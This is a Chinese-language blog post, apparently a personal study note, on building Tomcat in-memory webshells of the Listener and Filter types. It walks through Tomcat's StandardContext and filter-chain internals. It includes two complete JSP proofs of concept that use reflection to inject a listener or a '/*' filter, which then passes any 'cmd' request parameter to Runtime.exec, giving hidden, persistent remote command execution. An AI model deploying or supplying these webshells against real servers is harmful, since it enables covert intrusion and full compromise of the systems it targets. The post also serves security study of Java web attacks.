前置知识:https://goodapple.top/archives/1359
Listener型
利用的是ServletRequestListener
ServletRequestListener是用来监听ServletRequest对象的,每从客户端发送一次请求就会生成一个ServletRequestListener。当我们访问任意资源的时候都会触发ServletRequestListener#requestInitialized()。
一个恶意的listener


如何将这个恶意的listener注册进远程服务器呢?
查看一下调用栈

进入StandardContext#fireRequestInitEvent

listener是由instance强转得来,instance属于instances[],instances[]=getApplicationEventListeners(),所以如果instances中存在恶意的listener就能成功触发恶意的requestInitialized.


StandardContext中有个addApplicationEventListener()

所以我们要获取StandardContext实例
在StandardHostValve#invoke方法中可以看到它通过request.getContext()来获取StandardContext实例。

JSP中内置了request对象,payload如下
1 2 3 4 5 6
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
|
另一种获取方式
1 2 3 4 5
| <% WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); %>
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%! public class Shell_Listener implements ServletRequestListener { public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } public void requestDestroyed(ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
Filter型内存马
在Servlet容器中doFilter()是由Filterchain实现的

doFilter调用栈

跟进ApplicationFilterChain#internalDoFilter

filter是由filterconfig获取的,每一个filter都有一个对应的filterconfig,保存着filter的一些配置信息,具体的可以去看看最下面的参考文章。
向上追踪调用栈进入StandWrapperValve#invoke

进入createFilterChain(除去一些不重要的判断,以下是省略版源码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ... filterChain = new ApplicationFilterChain(); filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); ... String servletName = wrapper.getName(); for (FilterMap filterMap : filterMaps) { ... ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); ... filterChain.addFilter(filterConfig); } ... return filterChain; }
|
从servlet中获取standardcontext,从standardcontext中获取filtermaps,再根据filtermaps中的servletname从standardcontext中获取filterconfig,所以context中的filtermap和filterconfig都要改。
跟进addFilter

filterConfig参数被成功添加进去,下面三张图分别是standardcontext中filterconfig,filterdef,filtermap对应的属性
filterconfig

filterdef存放着filter的定义,如filtername,filterclass之类,对应的是web.xml中的filter标签
1 2 3 4
| <filter> <filter-name></filter-name> <filter-class></filter-class> </filter>
|

filtermaps,用array存储各filter路径映射信息,对应的是web.xml中的filter-mapping
1 2 3 4
| <filter-mapping> <filter-name></filter-name> <url-pattern></url-pattern> </filter-mapping>
|

根据上方分析的createfilterchain的逻辑,我们要把恶意filter添加进standardcontext中的filtermaps和filterconfigs中。并且在最开始的internalDoFilter中可以看到Filter filter = filterconfig.getFilter(),所以要把filter封装进filterconfig中
又因为getFilter()会调用filterDef.getFilterClass(),所以要把filterDef封装进filterconfig中

动态注册filter
首先要获取standardcontext,因为创建filterchain时用的filterconfig,filterdef,filtermap都是从它里面获取的。
StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
Tomcat在启动时会为每个Context创建一个ServletContext,通过其属性我们可以获得StandardContext实例
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.util.Map" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %> <%! public class Shell_Filter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %> <% Shell_Filter filter = new Shell_Filter(); String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); %>
|
访问jsp文件后再访问任意路由即可实现rce


剩下两种以后碰见了再说吧
Servlet型
Valve型
参考:Java安全学习——内存马 - 枫のBlog